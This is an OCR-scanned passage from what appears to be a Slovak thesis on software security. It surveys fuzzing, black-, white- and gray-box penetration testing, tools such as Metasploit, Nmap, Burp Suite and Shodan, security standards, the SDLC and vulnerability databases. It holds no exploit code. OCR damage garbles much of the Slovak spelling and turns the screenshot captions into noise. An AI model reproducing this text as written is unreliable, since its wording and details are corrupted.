dany program podporuje, ale taktiez mu moze poslat’ subor, ktory nie je podporovany.
Napriklad ak program ocakava ako vstup textovy dokument, m6Zeme mu skusit’ zaslat’
namiesto toho video a skiimat’, ako sa dany program bude spravat’ [29].
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Samotné testovanie moze byt ¢asovo naro¢ny proces, pretoze fuzzer generuje velké
mnozstvo nahodnych alebo systematickych vstupov a sleduje, ako sa program sprava pri
ich spracovani. RieSenim moéZze byt optimalizadcia pomocou metodd, ako je napriklad
mutécia existujicich vstupov na zdklade vzorov (mutational fuzzing) alebo generovanie
Specifickych vstupov na zédklade Specifikdcii (generative fuzzing). Pomocou tychto
optimalizovanych technik je mozné zvysit' efektivitu testovania a zrychlit’ objavovanie
zranitelnosti a chyb v softvéri.

Mutacné fuzz testovanie pracuje s mutaciou existujucich vstupov. Mozu to byt bud’
subory alebo data, ktoré st nasledne mierne modifikované. Tato modifikacia zahtna
zmenu, pridanie, alebo odstranenie bajtov. Je relativne 'ahko implementovatelny a za
ciel’ ma aktivovanie chyby pocas testovania programu.

Generacné fuzz testovanie pracuje s generovanim Uplne novych vstupov, ktoré su
zalozené na Specifikaciach alebo modeloch softvéru. Oproti predchadzajucej metdde
vyuziva komplexnejSie algoritmy, Vktorych sa vyzaduje znalost Struktary dat,
protokoloch, alebo programovacich jazykoch. Generované vstupy sa uplne lisia od
typickych platnych vstupov. Vdaka SirSiemu spektru generovanych vstupov dokdze
objavit’ chyby, ktoré predchadzajica metéda mohla prehliadnut’ [30].

2.4 Penetracné testovanie

Utok pri ktorom sa eticki hackeri snaZia prelomit zabezpeenie systému za cielom
najdenia zranite'nosti sa nazyva penetracné testovanie. Tito eticki hackeri vyuzivaju
rozne techniky a nastroje, aby bolo testovanie ¢o najdokladnejSie. NajéastejSie si ich
najimaju firmy, aby otestovali ich navrhnuté zabezpecenie systému a popripade upravili
slabé miesta, ktoré by neskor hackeri mohli vyuzit'. VSetko €o teda eticki hackeri robia,
je legalne. Pomahaju uchovat nielen data v bezpeci, ale aj zabranit’ pripadnym finanénym
stratam. Penetra¢né testovanie prebieha na internej sieti spolo¢nosti, webovych strankach,
serveroch, bezdrotovych sietach a podobne. Techniky ktoré sa vyuZzivaja, su Black Box,
White Box a Gray Box.

Black Box testovanie prebieha externe, kedy eticky hacker nema vela znalosti
o vnutorne Strukture alebo zabezpefeni daného systému. Zameranie je na vstupy
a oc¢akavané vystupy bez toho, aby vedeli ako su tieto vystupy systémom generované.
Ulohou etického hackera je vtomto pripade najst zranitelnost alebo slabé miesto
Vv systéme, pricom sa spolichaju iba na informacie, ktoré sami zistili. Jedna sa o jeden
z redlnejSich pristupov penetracného testovania, ked’Zze napodobiiuje skutocného hackera,
ktory by nemal Ziadne informacie o vnutornom systéme.

White box testovanie je metdda, pri ktorej ma eticky hacker znalost’ o celej vnatorne;j
Struktare systému, vratane jeho kompletného zabezpecenia. Na rozdiel od Black Box
testovania, tento typ ma za tlohu simulovat’ Gtok hackera, ktory neuto¢i externe, ale
interne. Cielom je otestovat’ cely kod a odhalit’ zranitelnosti, ktoré by mohli viest’
Kk preteCeniu vyrovnavacej pamite, SQL injekcii, XSS a d’alsim. Testovanie je efektivne
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pri identifikacii skrytych chyb v kdéde, optimalizacii kédu a zabezpeceni. Jedna sa
0 ¢asovo najnaro¢nejsiu metddu penetraéného testovania.

Gray box testovanie kombinuje obidve predchadzajuce techniky dokopy. Eticky
hacker ma teda Ciasto¢né znalosti 0 vnutornej Struktire a implementacii testovaného
systému, ¢o mu umoziuje efektivnejSie vykonavat' testy. Podobne ako Black box
testovanie, aj tu je zameranie na testovanie funk¢nosti, tentokrat ale s vyuzitim znalosti
Struktiry systému. Tento typ testovania poskytuje vyvazeny pohlad, ktory umoziuje
efektivnejsie identifikovat’ a riesit’ problémy softvérovych systémov [31].

2.5 Nastroje a technologie

2.5.1 Fortify

Jednym z nastrojov zameranych na testovanie bezpe¢nosti aplikacii, ktory je pontkany
vo forme softvér ako sluzba (SaaS) a pre nasadenie na mieste, je Fortify. Tento nastroj
pontka ako statickl analyzu kédu (SAST), tak aj dynamicka analyzu kodu (DAST).
Naviac je navrhnuty tak, aby bol 'ahko integrovatelny uz do existujucich vyvojovych
procesov. Jeho hlavnym ciel'om je identifikovat’ a navrhntt’ opravy bezpec¢nostnych chyb
vo vyvojovom procese softvéru, ¢im pomaha chranit’ aplikicie pred potenciondlnymi
hrozbami a utokmi. Pre zakaznika je tento nastroj vyhodny v tom, Ze mu staci iba prejst’
koéd, ku ktorému je nasledne vygenerovany audit. Oprava kodu prebieha zvycajne
vyvojarmi klienta. Ked’ze je tento nastroj Siroko vyuzivany, stcastou jednej verzie,
konkrétne Fortify Audit Assistant Service je taktiez algoritmus strojového ucenia, ktory
cerpa data z anonymnych auditov, ktoré boli pre zdkaznikov vykonané. Toto poméha
jednoduchsie odhalit’ jednotlivé zranitel'nosti a rychlejsie vyriesit’ dany problém [32].

Verzia Fortify zamerana na SAST sa mdze pysit’ podporou detekcie zranitel'nosti az
pre 27 programovacich jazykov, medzi ktoré patria napriklad C, C++, Java, Python, XML
a mnoho dalSich. Implementacia Fortify je moZna taktiez aj v roznych vyvojarskych
prostrediach, ako napriklad IntelliJ, Eclipse, Visual Studio a d’alSie. Vd’aka integracii do
softvérového vyvojového cyklu (SDLC) je mozné uSetrit’ zna¢nu Cast’ financnych aj
Casovych prostriedkov uz v prvych fazach vyvoja, na rozdiel od neskoré¢ho zavedenia.
Okrem toho, Fortify je efektivne integrovatel'ny do DevOps procesov a CI/CD pipeline,
umoznujuci tak automatické skenovanie kodu a efektivnejSie zavedenie bezpecnostnych
oprav. Poskytuje tiez podrobné hlasenia a nastroje na spravu zranitelnosti, ¢o umoziuje
timom efektivne priorizovat’ a riesit’ bezpe¢nostné problémy [33].
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O fortify 2364fc7f-581b-43ab-baea-eb7fb0c39289

Basic Information

X.509 Certificate

bBal6dc@727465731982b8582520a6d5
3

3652 days

Tue, 29 Sep 2020 18:19:46 GMT

Sun, 29 Sep 2030 18:49:46 GMT

Subject Name

d635a121-79c3-4b1d-820a-330... 2364fc7f-123c-43dd-baea-eb7b0c39289

Issuer Name
net
windows
MS-Organization-Access

82dbacad-3e81-46ca-9c73-0950c1 eacad?

Public Key Info

RSA Encryption (1.2.840.113549.1.1.1)

Obrazok 2.1: Fortify hlavna stranka.

2.5.2 OWASP ZAP (Zed Attack Proxy)

Existuje vela penetracnych nastrojov, ktoré sii vyuzivané pre testovanie zranitelnosti
webovych aplikacii. Jednym znich je aj ZAP, ktory zéaroven patri ktym
najvyuzivanej$im. Naviac je open-source, ¢im sa stava dostupnym pre kazdého. O jeho
vyvoj] sa staraju dobrovolnici z celého sveta. Dokaze detegovat okrem mnohych
zranitel'nosti aj SQL injekciu, XSS ¢i rozne komponenty obsahujlice zranitel'nosti.

Funguje na principe sledovania webovych poziadaviek, ktoré st navzajom vymienané
medzi serverom a prehliadacom a nasledne prebieha ich skenovanie. Poziadavky su
nasledne analyzované apri vyskyte neziaducich prvkov odchytené. Spominané
skenovanie moze prebiehat’ dvomi spésobmi — aktivne a pasivne [34].

Aktivne skenovanie je z hl'adiska najdenia zraniteI'nosti uc¢innejsie ako pasivne. Je to
z dovodu zasielania roznych typov poziadaviek webovej aplikacii, na zaklade ktorych je
zraniteI'nost’ vyvolana. Nevyhodou je, ak testovanie prebieha na verejne dostupnej
stranke a nie na jej presnej kopii na virtualnom zariadeni, moze prist’ k strate dat, preto je
dolezité¢ mat’ aktualnu zalohu. Hoci je tdto metoda agresivnejSia, dokaze vo vysledku
odhalit’ viac zraniteI'nosti.

Pasivne skenovanie je na druhu stranu menej agresivne, ked’Ze monitoruje uz
existujuce webové poziadavky a odpovede. Pri tomto type skenovania nedochéadza
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k zasielaniu novych poziadaviek a zistené st iba zname zranitelnosti vyplyvajice zo
ziskaného skenovania. Tato metdda je oproti predchadzajicej bezpecnejsia pre webové

aplikécie, ktoré su verejne dostupné a tym padom nedochadza k pripadnému zmazaniu
udajov [35].

A Untitled Session - 20231120-213609 - ZAP 2.14.0

File Edit View Analyse Report Tools Import Export  Online  Help
Standard Mode ~ | | ] L2 E g a2 EE EEDE &S YV e % @
@ sites = N L7 Quick Start #* =) Request &= Response 5 Requester =
>
R Welcome to ZAP
= Contexts
2] Default Context ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web
@ Sites applications.
Ifyou are new to ZAP then itis bestto start with one of the options below.
Automated Scan Manual Explore Learn Mare
News
ZAP 2.14.0 is available now Learn Mare
B History  C Search [ Alents | Output ==
@ @& 7 Filter: OFF ¢ Export <f
ID Sour.. Req Timestamp Meth.. URL Co.. Reason R.. SizeResp... Highest.. N.. Tags =}
Alerts [0 [Mo Yo [0  Main Proxy: localhost8080 CurrentScans %0 @0 A0 @0 L0 430 50 %o

Obrazok 2.2: ZAP - prehl'ad prostredia.

2.5.3 Metasploit Framework

Dal§im pokro¢ilym nastrojom pre penetraéné testovanie je Metasploit Framework. Patri
medzi open-source nastroje, pomocou ktorého je mozné identifikovat a zneuzit
zranitel'nosti nielen vo webovych aplikaciach ale taktiez aj v sietovych systémoch. Je
vyuzivany najmé etickymi hackermi, ktorym umoziluje testovanie zabezpecenia
a odhalenie zranitel'nosti webovych aplikécii a systémov pomocou rozsiahlej kniznice
skriptov. Metasploit aktualne disponuje celkovo 7 modulmi [36].

Pomocné moduly nesluzia priamo pre zneuzitie alebo detekciu zneuzitych chyb, ale
pomahaji s ilohami zameranymi na administraciu, analyzu, zber, DoS, skenovanie
a podporu servera. Administracné moduly sluZia na nastavovanie cielového zariadenia,
nadvézovanie spojenia, spravu relacii a konfiguracie Metasploit na cielovom zariadeni.
Moduly pre analyzu slizia k ziskavaniu roznych tdajov, napriklad ohl'adom otvorenych
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portov, verzii systémov a aplikécii. V tomto module st taktiez obsiahnuté nastroje
sliziace k prelomeniu hesiel. Moduly pre zber, ako uz z nazvu vyplyva, sluzia k zberu
vSetkych dostupnych dat o cielovom zariadeni. Mézu sem patrit’ konfigura¢né subory,
prihlasovacie udaje a iné citlivé data. Pomocou DoS modulov je mozné vykonavat’ DoS
utoky na ciel'ové zariadenie, ¢im dojde k jeho spadnutiu alebo spomaleniu. Moduly pre
skenovanie su dost’ podobné modulom pre analyzu, ale na rozdiel od nich sa liSia v tom,
ze vyhl'addvaju uz zndme zranitel'nosti, ktoré boli zistené na zaklade idajov z analyzy.
Na zaver moduly podpory servera obsahuji nastroje a protokoly, ktoré su potrebné pre
spol'ahlivé fungovanie a efektivnu komunikaciu [37].

£ root@kali: lhome X
File Actions Edit View Help

/home
nsfconsole
Metasploit tip: Use the analyze command to suggest runnable modules for
hosts

Metasploit

=[ metasploit v6.3.40-dev
+ — -——=[ 2294 exploits - 1200 auxiliary - 409 post
+ — -—=[ 965 payloads - 45 encoders - 11 nops
+ - =--=[ 9 evasion

(R ——

Metasploit Documentation: https://docs.metasploit.com/

msf6 > []

Obrazok 2.3: Prostredie Metasploit konzoly.

2.5.4 Nmap (Network Mapper)

Obl'ibenym penetraénym nastrojom vyuzivanym etickymi hackermi na skenovanie siete
je Nmap. Patri k open-source nastrojom, ¢im sa stava dostupny nielen pre kazdého
etického hackera, ale aj spravcu siete. Na sieti umoziiuje skenovat’ okrem konkrétnej IP
adresy aj cely rozsah adries, pricom vie zistit’ stav portov, verzie vyuzivanych protokolov,
sluzby a dostupné zraniteI'nosti stivisiace s protokolmi.
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Vd’aka pokrocilému skenovaniu je schopny rozlisit’ typ zariadenia, teda dokéaze urcit’,
¢i sa v danej sieti nachadza mudry telefon, pocitaé, server a podobne. Nasledne dokaze
urcit’, aky systém a verziu zariadenie vyuziva, ¢o pomaha pri penetracnom testovani.
Podla zisteni so skenovania mo6zu potom eticki hackeri vyuzit' dostupntl kniznicu so
skriptami pre penetracné testovanie [38].

Nmap vyuziva rozne typy skenovania, ktorych dokaze rozlisit’ zariadenia v sieti. Patri
sem skenovanie typu TCP SYN/ACK, UDP, ICMP, ARP a iné. Kazdé z nich ma svoje
vyhody anevyhody. TCP SYN/ACK skenovanie sluzi na zistenie zariadeni v Sieti
amozné pomocou neho overit, ¢i cielové zariadenie odpoveda. UDP skenovanie je
vyhodné v tom, Ze dokaze odhalit’ zariadenia, pred ktorymi sa méze nachadzat’ firewall.
Je t0 z d6vodu pravidiel, ktoré by vyfiltrovali predchadzajici typ skenovania a tym
padom by nedoslo k ziadnej odpovedi. ICMP skenovanie je podobné TCP SYN/ACK
skenovaniu s rozdielom posielania rozdielnych typov paketov. Najrychlejsim sposobom
ako zistit' pritomnost’ zariadeni V lokalnejsieti je vyuzit ARP skenovanie. ARP
komunikuje priamo v lokalnej sieti, vd’aka ¢omu nemusi prechadzat’ cez rozne sietové
vrstvy. Ked'Zze vacSina firewallov a roznych sietovych filtrov je zamerana na vysSie
sietové vrstvy, ARP pakety nie su kontrolované a ani blokované [39].

E root@kali: fhome
File Actions Edit View Help

/home
-5 -PR 192.168.158.136

Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-21 18:59 CET

Mmap scan report for 192.168.158.1380

Host is up (0.00038s latency).

MAC Address: @@0:@C:29:B3:4A:2F (VMware)

Mmap done: 1 IP address (1 host up) scanned in 13.09 seconds

/home

Obrazok 2.4: Ukazka Nmap ARP skenovania.

2.5.5 Burp Suite

Dalsim komplexnym nastrojom vyuZivanym pre bezpe¢nostné testovanie webovych
aplikacii je Burp Suite. VyuZivany je najmd profesionalnymi etickymi hackermi,
bezpecnostnymi analytikmi a vyvojarmi webovych aplikacii. Patri k jednoduch$im
nastrojom z uzivatel'ského hladiska s pokrocilejsimi funkciami, vd’aka ¢omu mdze byt
pouzity namiesto OWASP ZAP, ale nie Uplne nim nahradeny, pretoze kazdy néstroj
obsahuje jedinecné funkcie. Obsahuje sadu nastrojov, ktoré su integrované v jednom
prostredi, co ul’'ahcuje testovanie zabezpecenia webovych aplikacii. Zakladna verzia tohto
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nastroja je zadarmo, ale vysSie verzie su platené, pricom ich ceny su od stoviek dolarov
az po tisicky dolarov za rok. Medzi hlavné nastroje nastroja Burp Suite patri proxy server,
skener zranitel'nosti, sekvenény analyzator (sequencer), opakova¢ (repeater), narusovaé
(intruder) a rozsirovac (extender).

Proxy server umoznuje zachytit' a analyzovat http a https poziadavky spolu
s odpoved’ami medzi webovym prehliadacom a serverom. Tieto poziadavky mozu byt
upravené aznovu posielané, pricom su sledované a porovnavané prijaté odpovede.
Taktiez proxy server obsahuje SSL/TLS desifrovanie, ¢o umoziuje analyzu Sifrovane;j
komunikacie.

Skener zranitelnosti sluzi k detekcii znamych zranitelnosti vyskytujicich sa vo
webovych aplikaciach. Dokaze detegovat’ napriklad SQL injekciu, XSS a replikovat’
utoky hrubou silou na hesla. Okrem znamych zranitelnosti testuje aj menej bezné alebo
zlozitejSie zranitel'nosti @ moze byt prisposobeny pre rdzne Specifické scenare.

Sekvencny analyzator kontroluje hodnoty ndhodnosti tokenov, ktoré su dolezite pre
zabezpecenie. Kazdy token by mal byt ndhodne vygenerovany a nemalo by ho byt mozné
znovu vygenerovat.

Opakovac umoziuje manualne opakované zasielanie poziadaviek. Tieto poziadavky
moézu byt V pripade potreby upravené. Je nimi sledované, akym spdésobom webova
aplikécia reaguje na neo¢akavané hodnoty. Uzito¢ny je aj pri testovani roznych druhov
ochrannych mechanizmov webovych aplikacii, ako st tokeny a overovacie mechanizmy.

Narusovac je nastroj automatizovaného testovania, pomocou ktorého je mozné
automaticky vykondvat’ uitoky na webové aplikacie. Medzi utoky patria napriklad utoky
na hesla ainjekcie. Obsahuje moznosti nastavenia Specifickych typov ttokov, typy
udajovych zatazi a rychlosti odosielania poziadaviek.

Rozsirova¢ umoznuje uzivatel'ovi pridat’ rozne rozSirenia, ktoré sa nazyvaju BApps.
Tieto rozsirenia podporuji niekol’ko programovacich jazykov, ale niektoré z nich mézu
vyzadovat' vyS$Siu verziu ndstroja. RozSirovaC umoZznuje aj integraciu s externymi
nastrojmi a sluzbami, ¢o umoziuje rozsirenie jeho vyuzitia [40].

2.5.6 Nessus

Automatizované nastroje na bezpecnostné skenovanie su medzi etickymi hackermi
a bezpec¢nostnymi analytikmi Coraz viac vyuzivané. K jednému z tychto nastrojov patri
aj Nessus. Je to proprietarny néstroj s velkym mnozstvom funkcii, pomocou ktorého je
mozné skenovat” vSetky webové aplikacie a zariadenia pripojené k sieti. Dokaze
upozornit’ na zastarané verzie ovladacov a detegovat’ vSetky zname chyby, zranitel'nosti,
malvér a iné hrozby, ktoré by mohli byt’ Gito¢nikom zneuzité. K novembru 2023 obsahuje
databazu s takmer 200 000 modulmi a 80 000 zranite'nost'ami CVE.

Vsetky tieto moduly mozu byt upravené podl'a predstav uzivatela a tym padom ich
je mozné prispoOsobit’ aj pre Specidlne systémy. Podl'a zavaznosti dokaze rozlisit’ zistené
hrozby a vyhodnoti, na ktoré sa je potrebné¢ zamerat ako prvé. Okrem zobrazovania
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vysledkov v redlnom cCase je po skonceni skenovania mozné vygenerovat’ hldsenie
v roznych formatoch [41][42].

Nessus teda disponuje skenovanim webovych aplikacii, siete, zranitelnosti,
stanovenim priorit a posudenim zranitelnosti. Okrem toho obsahuje viac ako 450 Sablon,
vdaka ktorym je skenovanie efektivnejSie aj pre menej skisené¢ho uzivatela. Svojim
prostredim je tak isto vhodnym nastrojom aj pre zacinajucich etickych hackerov
a bezpecnostnych analytikov. V pravidelnych aktualizicidch je rozSirovand nielen
databaza zraniteI'nosti, ale taktiez st pridavané aj nové funkcie, ktoré su nevyhnutné pre
pokrocilejsie bezpecnostné testovanie [43].

2.5.7 Qualys

K niekol’kym automatizovanym nastrojom, ktoré st vyuzivané vo forme softvér ako
sluzba (SaaS), patri aj nastroj Qualys. VyuZivany je najmid vaé$imi firmami, ktoré
vyZzadujii vysoku uroven zabezpeCenia V oblasti internetového uloziska. KedZe je
pontkany ako sluzba, m6ze byt upraveny podla potrieb zdkaznika. Hlavnymi bodmi,
ktorymi sa Qualys vyznacuje st posudzovanie a manazment zranitel'nosti, monitorovanie
a skenovanie nielen cloudovych systémov, ale aj pripojenych zariadeni.

Qualys ponuka komplexné rieSenia v oblasti bezpecnosti, medzi ktoré patria
automatické skenovania na zistenie zraniteI'nosti a nepretrzité monitorovanie stavu
systému alebo webovej aplikacie. Toto umozniuje firmam pohotovo reagovat’ v pripade
najdenia hrozby v systéme alebo zranitel'nosti. Samozrejmost'ou st aj podrobné hlasenia
aanalyzy, vdaka ktorym dokazu firmy efektivnejSie spravovat’ svoje systémy
a predchadzat’ tak bezpe¢nostnym rizikam [44].

Naviac okrem zmienenych funkcii pontka aj d’alSie, ktoré sa vyuzivaju v oblasti
stladu (compliance) abezpec¢nostného auditu. Firmy pomocou nich dokazu nielen
identifikovat’ a manaZovat’ zranitelnosti, ale zaroven aj dodrziavat’ stlad s rozli€énymi
priemyselnymi a regulacnymi predpismi. Patri sem najmé zname GDPR, HIPAA a PCI
DSS. Ku klicovym prvkom patri aj integracia s rdéznymi cloudovymi sluzbami
a platformami, ¢o umoznuje efektivnejsie riadenie bezpecnostnej politiky [45].

2.5.8 Shodan

Prvy vyhladava¢ Specialne navrhnuty na monitorovanie a analyzu vsetkych pripojenych
zariadeni na internete, zndmy ako Shodan, umoZiiuje pouZzivatel'om identifikovat’ rozne
typy zariadeni. Patria sem vratane serverov a pocitacov aj bezpecnostné kamery, cCisticky
odpadovych vod, elektrarne, ale aj systémy riadenia budov. O kazdom zariadeni dokaze
poskytnut’ detailné informécie o pripojeni a konfiguracii.

Od vsetkych zariadeni pripojenych k internetu st Shodanu poskytnuté vsetky
dostupné informacie. Tie st zbierané z tzv. bannerov, ¢o st vlastne informacie obsiahnuté
Vv metadatach zariadenia. Patri k nim napriklad informacia o systéme na ktorom
zariadenie beZi, verzia, vyuzivany protokol a d’alSie. Zistené informacie sluzia najma pre

28



spravcov sieti, ktori tym monitoruju zariadenia v danej spolo¢nosti pripojené k internetu,
pre vyrobcov zariadeni, ktori sleduju najviac vyuzivané produkty u l'udi a pre sledovanie
zariadeni, ktoré boli napadnuté ransomvérom [46].

Shodan je vel'mi obl'ibenym vyhladdvacom u etickych hackerov, ktorym poméha
monitorovat’ zranitel'nosti vyskytujice sa v sieti. Robia to z toho dovodu, aby mali
vyhodu pred inymi hackermi, ktori sa chcu dostat’ do systému. Hoci je tento vyhl'adavac
plateny, ziskané informacie mozu byt zneuzité neetickymi hackermi. Taktiez sa Casto
vyuziva na sledovanie zariadeni, ktoré boli napadnuté rozsiahlymi utokmi a na zaklade
toho je mozné urcit’ rozsah utoku. Redlnym prikladom mdze byt’ séria itokov na servery
spolo¢nosti Microsoft, na ktoré boli vyuzité tzv. zero-day hrozby. S vyuzitim Shodanu
potom bezpecnosti experti sledovali postupné aktualizacie Serverov s novou verziou
softvéru a taktiez aj tie, ktoré este boli stale ohrozené [47].

# SHODAN

Search Engine for the
Internet of Everything

%2 Monitor Network Exposure &% Intemet Intelligence

‘More than 3 million registered users across the world are using Shodan, including:
23 RAY of the 2100 /\ K nf tha Ton A

Obrazok 2.5: Vyhl'adava¢ Shodan.

2.6 Prevencia zranitel’nosti

V dnesnej dobe digitdlnych zariadeni a systémov, ktorych vyvoj napreduje rapidnym
tempom, je nutné mysliet’ aj na ich zabezpecenie, ked’ze spolu s nimi st nachadzané stale
nov¢ zranitelnosti, ktoré sa snazia Utoc¢nici sofistikovanejSie vyuzit. Je tym padom
nevyhnutné snaZzit’ sa zabezpecit’ tieto zariadenia a systémy ako sa len najlepSie da.

Na pozore sa musi mat’ kazdy a najma organizacie, ktoré su vel'mi ldkavym ciel'om
pre hackerov. Ti sa zameriavaji najmé na ziskanie dat z databazy, DoS ttoky, phishing
asnazia sa vyuzit dalSie rozne zranitelnosti. Preto sa prevencia zameriava na
identifikaciu, hodnotenie a rieSenie zraniteI'nych miest, skor nez mdze nastat’ nebezpecna
situdcia. Pomocou tohto pristupu su chranené nielen data, ale aj samotna infraStruktura.
Naviac vynalozené naklady su pri prevencii nizSie ako po GspeSnom utoku, ktory by
poskodil meno organizacie.
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V nasledujticich podkapitolach st podrobne popisané vsetky klucové aspekty
kybernetickej bezpecnosti, vratane bezpecnostnych noriem asmernic, softvérového
vyvojového zivotného cyklu (SDLC) a integracie bezpecnostnych ndastrojov do
vyvojového prostredia.

2.6.1 Bezpecfnostné normy a Smernice

Dokumenty, ktoré poskytuju stbor pravidiel, postupov a standardov, pomocou ktorych
sa riadia a chrania organizacie pred moznym utokom, unikom dat alebo inymi hrozbami,
sa nazyvaju bezpe¢nostné normy a smernice. Tieto normy a smernice zohravaji dolezita
ulohu pri zabezpeCovani a ochrane aktiv a infrastruktar. Organizacie moézu normy
a smernice aplikovat’ na rozne aspekty svojej kybernetickej bezpecnosti, teda od
prevencie az po reakcie na incidenty. Ich implementacia zvySuje doveryhodnost
organizédcie U zdkaznika, pretoze berie ochranu nielen dat, ale aj systémov seriozne.
Medzi zname medzinarodné smernice patria napriklad GDPR, ISO/IEC 27001 alebo
NIS2 [48].

GDPR je smernica Eurdpskej unie (EU) 0 ochrane dat fyzickych 0sdb v ramci ich
spracovania. Vdaka nej mozu fyzické osoby jednoduchsie pristupovat’ k svojim tidajom,
poziadat’ oich vymaz a maji taktiez moznost' preniest tieto Udaje apravo byt
informovani v pripade naruSenia tychto tdajov.

GDPR taktiez stanovuje podmienky rovné pre kazdl spoloc¢nost’, ktora posobi v ramci
Europskej unie. Z tych hlavnych sem patria pravidila ochrany osobnych udajov, pomocou
ktorych st jednotlivé podniky administrativne menej zataZené. Je zvolena osoba, ktora
zodpovedd za ochranu osobnych udajov. Musi byt zvolena bud’ organmi verejnej moci
alebo podnikom spracovavajicim vel’ké mnozstvo tdajov. Jednanie podnikov prebieha
iba s dozornym uradom nachadzajucim sa v §tate EU, kde maju hlavné sidlo. Osobné
udaje musia byt v ramci spracovavania Sifrované a anonymizované [49].

ISO/IEC 27001 norma obsahuje poziadavky, ktoré maju pomoct’ pri zabezpecovani
organizacie voci strate udajov, financii a dovery. To zahffia ochranu informacii pred
neopravnenym pristupom, kompletnost’ a presnost’ informacii ktoré¢ st chranené proti
neopravnenym zmenam a autorizovany pristup pouzivatel'ov Vv pripade ich potreby [50].

NIS2 je smernica, pomocou ktorej sa ma zvysit odolnost pred kybernetickymi vitokmi
a kybernetickymi hrozbami mierenych na organizicie Vramci Eurdpskej tnie. To
znamena prijatie novych opatreni, pomocou ktorych sa budii moct” dané organizacie
lep$ie branit’. Smernica NIS2 dopliuje pdvodnti smernicu NIS [51].

2.6.2 Softvérovy vyvojovy Zivotny cyklus (SDLC)
Proces, pomocou ktoré¢ho je mozné dosiahnut' zniZenie nékladov na vyvoj softvéru
a zvySenie jeho kvality sa nazyva softvérovy vyvojovy zivotny cyklus. Tak ako aj pri
normach, SDLC definuje normy, postupy a fazy, pomocou ktorych je mozné dosiahnut’
¢o najlepsi a najkvalitnejsi vysledok pri vyvoji softvéru. SDLC obsahuje celkovo 8 faz,
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ktoré su v priebehu vyvoja softvéru dodrziavané.

Planovacia faza zahtia zber udajov, finan¢nych prostriedkov a navrhov, od ktorych
sa nasledne odvijaju dalSie fazy vyvoja softvéru. Taktiez je predstavend vizia
a oCakavania, ktorych sa ma tim drzat’.

Programovacia faza, testovacia fdza afdiza budovania zahtnaji okrem statickej
analyzy kodu a neskor dynamickej analyzy kodu aj vyvoj prostredia pre softvér, ktoré
bude spiiat’ cielové poziadavky. V testovacej faze prebicha testovanie vietkych prvkov,
funkcii a taktiez aj zatazové testovanie, pri ktorom sa sleduje spravanie systému
aoveruju sa rozne neplatné vstupy, vdaka ktorym by mohlo dojst k odhaleniu
zraniteI'nosti, napriklad k preteceniu zasobniku.

Vo fazach vydania anasadenia dochadza k oficialnemu uvolneniu softvéru na
roznych platformach.

Prevadzkova a monitorovacia faza zahtia spravanie softvéru v plnom nasadeni, jeho
sledovanie a v pripade najdenia nejakej slabiny jeho opravu posilnenie bezpec¢nosti [52].

1. Analyza a

art 2. Navrh 3. Vyvoj 4. Testovanie 5. Vydanie 6. Nasadenie ; »7.Monitorovanie) 7 8. Udrzba

Obrazok 2.6: Diagram SDLC.

2.6.3 Integracia bezpecnostnych nastrojov do vyvojového prostredia

V dobe, kedy dochadza k neustalemu digitalnemu rozvoju, sa bezpeénost’ softvéru stala
neoddelitelnou sucastou vyvojového procesu. Jednd sa o praktiku, ktora rozSiruje
Standardny DevOps o zabezpecenie. Nazyva sa DevSecOps a jej pristup spociva v uzkej
spolupraci vyvojarov a vSetkych timov, pocas celej doby SDLC. Vdaka DevSecOps
dochadza k zvySeniu bezpecnosti naprie¢ vSetkymi fazami vyvoja. Na radu sa dostavaji
tiez nastroje, ktoré su implementované a automatizované, ¢im sa staraji nielen
0 bezpecnost’, ale prispievaju aj k rychlejSiemu vyvoju softvéru. Tieto nastroje teda
zabezpeduju, aby sa vyvoj softvéru nedakane nepredizil v neskorsej faze a aby kazda nova
verzia kodu nemusela byt manuélne kontrolovana niekol’kymi ¢lenmi timu. K hlavnym
integrovanym nastrojom patria nastroje skenovania zranitelnosti, z predchadzajiucich
kapitol spominané SAST a DAST nastroje, OWASP ZAP, Sonar a rozne iné. Z tychto
spominanych nastrojov bude bliZsie rozobraté iba open-source skenovanie zranitel'nosti,
ked’Ze ostatnym néstrojom uZz boli venované samostatné podkapitoly.

Vyvoj softvéru je nie vzdy, ale predsa Casto zamerany na vyuzivanie volne
dostupnych zdrojov, ¢i uz st to roézne kniznice, doplnky alebo d’alSie komponenty.
Nebezpecie v ramci vyvoju softvéru spociva v tom, ze v niektorom zo zdrojov sa moze
nachadzat’ zraniteI'nost,, ktora mohla vzniknat nepozornostou programatora. Preto je
dolezité skenovat’ nielen vol'ne dostupné zdroje, ale aj tie platené, ked’Zze sa v nich mdze
nachadzat’ nejakd zranitelnost. V pripade jej detekcie je porovnavana s réznymi
databazami obsahujucimi zranitel'nosti, ¢o umoznuje vyvojarom ziskat' prehl’ad o tom,
ako vel'mi je dand zranitel'nost’ nebezpecna. Nasledne musi byt’ dany zdroj aktualizovany
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na najnovsiu verziu uz bez zranitelnosti, alebo sa poktisia o opravu vyvojari daného
softvéru. Vyhodou skenovania je vc€asné informovanie vyvojarov, znizenie rizika
a vydanie vhodnych opatreni [53].

2.7 Databazy zranitel’'nosti

S neustalym vyvojom softvéru a technologii vznikaji aj nové zranitel'nosti. Vznika tak
potreba pritomnosti efektivnych systémov na ich identifikaciu a rieSenie. Miesta, ktoré
obsahuju rozlicné zranitelnosti, ktoré postupne pribudaju, sa nazyvaju databazy
zranitel'nosti. Poskytuji detailné informacie 0 zranitel'nostiach vratane ich zavaznosti
a dopadu. Vyhodou je pre viac¢Sinu databaz ich volny pristup cez internet. Pre vyvojarov
a bezpeCnostnych analytikov st neocenitelnym pomocnikom, vd’aka comu dokazu
rychlejsie reagovat’ na potencialne hrozby a zabezpecit’ tak ochranu svojich systémov. Aj
ked’ sa kazda databaza v nieCom 1i8i, vZdy obsahuji minimalne tieto 4 znaky — prehl’'ad
zranitelnosti, analyza, rieSenie a navod k replikovaniu zranitel'nosti.

Prehlad zranitelnosti sluzi vSeobecne k popisu danej zranitel'nosti, vratanie uvedenia
jej CVE nazvu, ako aj typu, zdvaznosti, datumu prvého vyskytu a pritomnosti v systéme
alebo hardvéri. Analyza zraniteI'nosti obsahuje vSetky zname informacie, ktoré sa k nej
podarilo ziskat’.

Riesenie byva vacsinou popis, ako sa podarilo dant zranitel'nost’ odstranit’ a vSetky
postupné kroky, ktoré boli s odstrafiovanim vykonané. Obsahuje v pripade existencie aj
odkazy pre aktualizacie.

Navod k replikovaniu zranitelnosti obsahuje vsetky kroky, pomocou ktorych je
